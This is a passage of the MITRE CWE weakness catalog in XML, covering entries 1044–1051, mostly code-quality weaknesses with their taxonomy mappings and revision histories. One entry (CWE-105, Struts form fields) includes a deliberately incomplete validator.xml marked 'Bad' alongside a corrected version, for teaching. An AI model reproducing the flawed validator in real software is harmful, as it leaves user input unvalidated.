					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1044" Name="Architecture with Number of Horizontal Layers Outside of Expected Range" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product's architecture contains too many - or too few -
					horizontal layers.</Description>
         <Extended_Description><xhtml:p>This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.  It also might make it easier to introduce vulnerabilities.</xhtml:p>
		 <xhtml:p>While the interpretation of "expected range" may vary for each product or developer, CISQ recommends a default minimum of 4 layers and maximum of 8 layers.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="710" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Maintainability</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCMM">
               <Entry_ID>ASCMM-MNT-9</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-960" Section="ASCMM-MNT-9"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1045" Name="Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor" Abstraction="Base" Structure="Simple" Status="Incomplete">
        <Description>A parent class has a virtual destructor method, but the parent has a child class that does not have a virtual destructor.</Description>
         <Extended_Description><xhtml:p>This issue can prevent the product from running reliably, since the child might not perform essential destruction operations.  If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability, such as a memory leak (CWE-401).</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1076" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Reliability</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCRM">
               <Entry_ID>ASCRM-RLB-17</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-961" Section="ASCRM-RLB-17"/>
            <Reference External_Reference_ID="REF-977"/>
            <Reference External_Reference_ID="REF-978"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships, Type</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1046" Name="Creation of Immutable Text Using String Concatenation" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product creates an immutable text string using string concatenation operations.</Description>
         <Extended_Description><xhtml:p>When building a string via a looping feature (e.g., a FOR or WHILE loop), the use of += to append to the existing string will result in the creation of a new object with each iteration. This programming pattern can be inefficient in comparison with use of text buffer data elements. This issue can make the product perform more slowly. If the relevant code is reachable by an attacker, then this could be influenced to create performance problem.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1176" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Performance</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCPEM">
               <Entry_ID>ASCPEM-PRF-2</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-959" Section="ASCPEM-PRF-2"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1047" Name="Modules with Circular Dependencies" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product contains modules in which one module has references that cycle back to itself, i.e., there are circular dependencies.</Description>
         <Extended_Description><xhtml:p>As an example, with Java, this weakness might indicate cycles between packages.</xhtml:p>
<xhtml:p>This issue makes it more difficult to maintain the product due to insufficient modularity, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.  It also might make it easier to introduce vulnerabilities.</xhtml:p>
<xhtml:p>This issue can prevent the product from running reliably.  If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1120" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Reliability</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCMM">
               <Entry_ID>ASCMM-MNT-7</Entry_ID>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCRM">
               <Entry_ID>ASCRM-RLB-13</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-960" Section="ASCMM-MNT-7"/>
            <Reference External_Reference_ID="REF-961" Section="ASCRM-RLB-13"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1048" Name="Invokable Control Element with Large Number of Outward Calls" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The code contains callable control elements that
         contain an excessively large number of references to other
         application objects external to the context of the callable,
         i.e. a Fan-Out value that is excessively large.</Description>
         <Extended_Description><xhtml:p>While the interpretation of "excessively large Fan-Out value" may vary for each product or developer, CISQ recommends a default of 5 referenced objects.</xhtml:p>
		 <xhtml:p>This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.  It also might make it easier to introduce vulnerabilities.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="710" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Maintainability</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCMM">
               <Entry_ID>ASCMM-MNT-4</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-960" Section="ASCMM-MNT-4"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1049" Name="Excessive Data Query Operations in a Large Data Table" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product performs a data query with a large number of joins
					and sub-queries on a large data table.</Description>
         <Extended_Description><xhtml:p>This issue can make the product perform more slowly.  If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.</xhtml:p>
	 <xhtml:p>While the interpretation of "large data table" and "large number of joins or sub-queries" may vary for each product or developer, CISQ recommends a default of 1 million rows for a "large" data table, a default minimum of 5 joins, and a default minimum of 3 sub-queries.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1176" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Performance</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCPEM">
               <Entry_ID>ASCPEM-PRF-4</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-959" Section="ASCPEM-PRF-4"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="105" Name="Struts: Form Field Without Validator" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product has a form field that is not validated by a corresponding validation form, which can introduce other weaknesses related to insufficient input validation.</Description>
         <Extended_Description>Omitting validation for even a single input field may give attackers the leeway they need to compromise the product. Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1173" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="20" View_ID="700" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>Some products use the same ActionForm for more than one purpose. In situations like this, some fields may go unused under some action mappings.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Note>If unused fields are not validated, shared business logic in an action may allow attackers to bypass the validation checks that are performed for other uses of the form.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Validate all form fields. If a field is unused, it is still important to constrain it so that it is empty or undefined.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In the following example the Java class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for an online business site. The user will enter registration data and, through the Struts framework, the RegistrationForm bean will maintain the user data in the form fields using the private member variables. The RegistrationForm class uses the Struts validation capability by extending the ValidatorForm class and including the validation for the form fields within the validator XML file, validator.xml.</Intro_Text>
               <Example_Code Nature="Result">
                  <xhtml:div>public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {<xhtml:div style="margin-left:1em;">
                        <xhtml:br/>
                        <xhtml:i>// private variables for registration form</xhtml:i>
                        <xhtml:br/>private String name;<xhtml:br/>private String address;<xhtml:br/>private String city;<xhtml:br/>private String state;<xhtml:br/>private String zipcode;<xhtml:br/>private String phone;<xhtml:br/>private String email;<xhtml:br/>
                        <xhtml:br/>public RegistrationForm() {<xhtml:div style="margin-left:1em;">super();</xhtml:div>}<xhtml:br/>
                        <xhtml:br/>
                        <xhtml:i>// getter and setter methods for private variables</xhtml:i>
                        <xhtml:br/>...<xhtml:br/>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The validator XML file, validator.xml, provides the validation for the form fields of the RegistrationForm.</Body_Text>
               <Example_Code Nature="Bad" Language="XML">
                  <xhtml:div>&lt;form-validation&gt;<xhtml:div style="margin-left:1em;">&lt;formset&gt;<xhtml:div style="margin-left:1em;">&lt;form name="RegistrationForm"&gt;<xhtml:div style="margin-left:1em;">&lt;field property="name" depends="required"&gt;<xhtml:div style="margin-left:1em;">&lt;arg position="0" key="prompt.name"/&gt;</xhtml:div>&lt;/field&gt;<xhtml:br/>&lt;field property="address" depends="required"&gt;<xhtml:div style="margin-left:1em;">&lt;arg position="0" key="prompt.address"/&gt;</xhtml:div>&lt;/field&gt;<xhtml:br/>&lt;field property="city" depends="required"&gt;<xhtml:div style="margin-left:1em;">&lt;arg position="0" key="prompt.city"/&gt;</xhtml:div>&lt;/field&gt;<xhtml:br/>&lt;field property="state" depends="required,mask"&gt;<xhtml:div style="margin-left:1em;">&lt;arg position="0" key="prompt.state"/&gt;<xhtml:br/>&lt;var&gt;<xhtml:div style="margin-left:1em;">&lt;var-name&gt;mask&lt;/var-name&gt;<xhtml:br/>&lt;var-value&gt;[a-zA-Z]{2}&lt;/var-value&gt;</xhtml:div>&lt;/var&gt;</xhtml:div>&lt;/field&gt;<xhtml:br/>&lt;field property="zipcode" depends="required,mask"&gt;<xhtml:div style="margin-left:1em;">&lt;arg position="0" key="prompt.zipcode"/&gt;<xhtml:br/>&lt;var&gt;<xhtml:div style="margin-left:1em;">&lt;var-name&gt;mask&lt;/var-name&gt;<xhtml:br/>&lt;var-value&gt;\d{5}&lt;/var-value&gt;</xhtml:div>&lt;/var&gt;</xhtml:div>&lt;/field&gt;</xhtml:div>&lt;/form&gt;</xhtml:div>&lt;/formset&gt;</xhtml:div>&lt;/form-validation&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>However, in the previous example the validator XML file, validator.xml, does not provide validators for all of the form fields in the RegistrationForm. Validator forms are only provided for the first five of the seven form fields. The validator XML file should contain validator forms for all of the form fields for a Struts ActionForm bean. The following validator.xml file for the RegistrationForm class contains validator forms for all of the form fields.</Body_Text>
               <Example_Code Nature="Good" Language="XML">
                  <xhtml:div>&lt;form-validation&gt;<xhtml:div style="margin-left:1em;">&lt;formset&gt;<xhtml:div style="margin-left:1em;">&lt;form name="RegistrationForm"&gt;<xhtml:div style="margin-left:1em;">&lt;field property="name" depends="required"&gt;<xhtml:div style="margin-left:1em;">&lt;arg position="0" key="prompt.name"/&gt;</xhtml:div>&lt;/field&gt;<xhtml:br/>&lt;field property="address" depends="required"&gt;<xhtml:div style="margin-left:1em;">&lt;arg position="0" key="prompt.address"/&gt;</xhtml:div>&lt;/field&gt;<xhtml:br/>&lt;field property="city" depends="required"&gt;<xhtml:div style="margin-left:1em;">&lt;arg position="0" key="prompt.city"/&gt;</xhtml:div>&lt;/field&gt;<xhtml:br/>&lt;field property="state" depends="required,mask"&gt;<xhtml:div style="margin-left:1em;">&lt;arg position="0" key="prompt.state"/&gt;<xhtml:br/>&lt;var&gt;<xhtml:div style="margin-left:1em;">&lt;var-name&gt;mask&lt;/var-name&gt;<xhtml:br/>&lt;var-value&gt;[a-zA-Z]{2}&lt;/var-value&gt;</xhtml:div>&lt;/var&gt;</xhtml:div>&lt;/field&gt;<xhtml:br/>&lt;field property="zipcode" depends="required,mask"&gt;<xhtml:div style="margin-left:1em;">&lt;arg position="0" key="prompt.zipcode"/&gt;<xhtml:br/>&lt;var&gt;<xhtml:div style="margin-left:1em;">&lt;var-name&gt;mask&lt;/var-name&gt;<xhtml:br/>&lt;var-value&gt;\d{5}&lt;/var-value&gt;</xhtml:div>&lt;/var&gt;</xhtml:div>&lt;/field&gt;<xhtml:br/>&lt;field property="phone" depends="required,mask"&gt;<xhtml:div style="margin-left:1em;">&lt;arg position="0" key="prompt.phone"/&gt;<xhtml:br/>&lt;var&gt;<xhtml:div style="margin-left:1em;">&lt;var-name&gt;mask&lt;/var-name&gt;<xhtml:br/>&lt;var-value&gt;^([0-9]{3})(-)([0-9]{4}|[0-9]{4})$&lt;/var-value&gt;</xhtml:div>&lt;/var&gt;</xhtml:div>&lt;/field&gt;<xhtml:br/>&lt;field property="email" depends="required,email"&gt;<xhtml:div style="margin-left:1em;">&lt;arg position="0" key="prompt.email"/&gt;</xhtml:div>&lt;/field&gt;</xhtml:div>&lt;/form&gt;</xhtml:div>&lt;/formset&gt;</xhtml:div>&lt;/form-validation&gt;</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Struts: Form Field Without Validator</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description, Modes_of_Introduction, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Causal_Nature, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Modes_of_Introduction</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1050" Name="Excessive Platform Resource Consumption within a Loop" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product has a loop body or loop condition that contains a control element that directly or
					indirectly consumes platform resources, e.g. messaging, sessions, locks, or file
					descriptors.</Description>
         <Extended_Description><xhtml:p>This issue can make the product perform more slowly.  If an attacker can influence the number of iterations in the loop, then this performance problem might allow a denial of service by consuming more platform resources than intended.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="405" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Performance</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCPEM">
               <Entry_ID>ASCPEM-PRF-8</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-959" Section="ASCPEM-PRF-8"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1051" Name="Initialization with Hard-Coded Network Resource Configuration Data" Abstraction="Base" Structure="Simple" Status="Incomplete">
